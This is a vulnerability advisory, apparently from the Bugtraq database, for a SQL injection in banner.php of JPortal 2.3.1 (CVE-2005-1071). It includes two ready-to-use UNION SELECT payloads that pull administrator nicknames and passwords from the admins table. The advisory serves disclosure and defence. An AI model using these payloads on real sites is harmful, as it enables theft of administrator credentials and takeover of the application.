JPortal Banner.PHP SQL Injection Vulnerability

Bugtraq ID:	13103
Class:	Input Validation Error
CVE:	CVE-2005-1071
Remote:	Yes
Local:	No
Published:	Apr 11 2005 12:00AM
Updated:	Jul 12 2009 12:56PM
Credit:	Discovery of this vulnerability is credited to Marcin "CiNU5" Krupowicz <[email protected]>.
Vulnerable:	JPortal Web Portal 2.3.1
Not Vulnerable:

JPortal Banner.PHP SQL Injection Vulnerability

JPortal is reportedly affected by an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

This issue is reported to affect JPortal version 2.3.1; earlier versions may also be vulnerable.

JPortal Banner.PHP SQL Injection Vulnerability

No exploit is required.

The following demonstrates the steps necessary to obtain the administrator login id and password:
go to http://www.example.com/jportal/banner.php and try this:

' UNION SELECT NULL, nick, NULL, NULL, NULL, NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, NULL from admins where '1=1

and then:

' UNION SELECT NULL, pass, NULL, NULL, NULL, NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, NULL from admins where '1=1

JPortal Banner.PHP SQL Injection Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

JPortal Banner.PHP SQL Injection Vulnerability

References:

• Project Home Page (JPortal)
  
• Sql injection in jPortal version 2.3.1 (module banner) (Marcin "CiNU5" Krupowicz )